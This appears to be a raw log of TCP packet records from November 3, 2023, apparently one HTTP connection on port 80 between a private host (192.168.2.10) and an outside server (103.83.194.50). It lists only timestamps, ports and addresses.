Nov 3, 2023 18:53:42.718957901 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.719002962 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.719027996 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.719082117 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.719106913 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.719147921 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.719185114 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.719271898 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.719289064 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.719336987 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.719389915 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.719436884 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.719463110 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.719506979 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.719530106 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.719578981 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.719604969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.719649076 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.719672918 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.719737053 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.719748974 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.719798088 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.719822884 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.719876051 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.719901085 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.719947100 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.719971895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.720016956 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.720072031 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.720119953 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.720156908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.720241070 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.720248938 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.720295906 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.720321894 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.720376968 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.720393896 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.720439911 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.720465899 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.720515013 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.720537901 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.720582008 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.720607996 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.720691919 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.720707893 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.720755100 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.720779896 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.720830917 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.720856905 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.720901966 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.720938921 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.720989943 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.721026897 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.721069098 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.721085072 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.721148014 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.721187115 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.721235037 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.721261024 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.721304893 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.721334934 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.721410036 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.721416950 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.721460104 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.721498966 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.721548080 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.721573114 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.721625090 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.721649885 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.721694946 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.721719980 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.721765041 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.721787930 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.721834898 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.721913099 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.721954107 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.721980095 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.722019911 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.722048044 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.722085953 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.722122908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.722165108 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.722168922 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.722208977 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.722280025 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.722292900 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.722318888 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.722332001 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.808304071 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.976011038 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.976129055 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.976716042 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.976784945 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.977206945 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.977272034 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.978250980 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.978317976 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.978646994 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.978703022 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.978744984 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.978806019 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.978840113 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.978895903 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.978923082 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.978984118 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.979007006 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.979060888 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.979073048 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.979130030 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.979168892 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.979212999 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.979222059 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.979278088 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.979289055 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.979332924 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.979343891 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.979371071 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.979389906 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.979424000 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.979441881 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.979481936 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.979497910 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.979542971 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.979727983 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.979773045 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.979800940 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.979851961 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.979861975 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.979909897 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.979918957 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.979933977 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.979969025 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.979981899 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.980000019 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.980078936 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.980082035 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.980110884 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.980138063 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.980150938 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.980170012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.980221033 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.980564117 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.980611086 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.980763912 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.980779886 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.980793953 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.980813026 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.980824947 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.980844975 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.980853081 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.980900049 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.980926037 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.980973005 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.980997086 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.981043100 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.981067896 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.981120110 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.981144905 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.981193066 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.981276035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.981327057 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.981329918 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.981374979 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.981384993 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.981430054 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.981456041 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.981501102 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.981515884 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.981543064 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.981564045 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.981575012 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.981609106 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.981637001 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.981659889 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.981672049 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.981734991 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.981791019 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.981812954 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.981859922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.981888056 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.981930017 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.981956959 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.982002020 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.982028961 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.982073069 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.982088089 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.982141972 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.982151031 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.982194901 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.982222080 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.982275009 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.982299089 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.982343912 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.982369900 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.982419014 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.982446909 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.982502937 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.982531071 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.982573986 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.982613087 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.982655048 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.982806921 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.982863903 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.982903957 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.982956886 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.982976913 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.983026028 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.983052969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.983094931 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.983134031 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.983182907 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.983186007 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.983270884 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.983274937 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.983326912 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.983330965 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.983376026 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.983400106 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.983445883 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.983445883 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.983491898 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.983519077 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.983562946 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.983566999 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.983613968 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.983627081 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.983671904 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.983681917 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.983724117 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.983746052 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.983794928 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.983814955 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.983858109 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.983861923 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.983906984 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.983935118 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.983988047 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984014034 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984064102 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984067917 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984112978 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984138966 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984189987 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984211922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984236956 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984237909 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984283924 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984307051 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984354019 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984366894 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984416008 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984419107 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984433889 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984466076 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984478951 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984508038 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984549999 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984559059 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984591007 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984632969 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984632969 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984661102 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984709024 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984716892 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984765053 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984766006 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984811068 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984838009 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984874010 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984886885 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984921932 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.984945059 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984960079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.984992027 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.985004902 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.985030890 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.985084057 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.985093117 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.985131025 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.985132933 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.985177994 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.985241890 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.985290051 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.985291958 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.985338926 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.985368967 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.985416889 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.985517025 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.985569000 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.985606909 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.985657930 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.985658884 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.985707998 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.985726118 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.985775948 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.985779047 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.985821962 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.985846043 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.985874891 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.985893965 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.985920906 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.985981941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.986030102 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.986047983 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.986093044 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.986093998 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.986143112 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.986160994 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.986226082 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.986300945 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.986362934 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.986370087 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.986411095 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.986418009 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.986457109 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.986489058 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.986504078 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.986529112 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.986551046 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.986613035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.986659050 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.986704111 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.986757040 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.986821890 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.986870050 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.986885071 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.986900091 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.986932039 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.986943960 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.986958981 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.987005949 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.987065077 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.987082005 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.987095118 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.987117052 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.987138987 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.987193108 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.987270117 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.987385035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.987417936 CET	80	49711	103.83.194.50	192.168.2.10
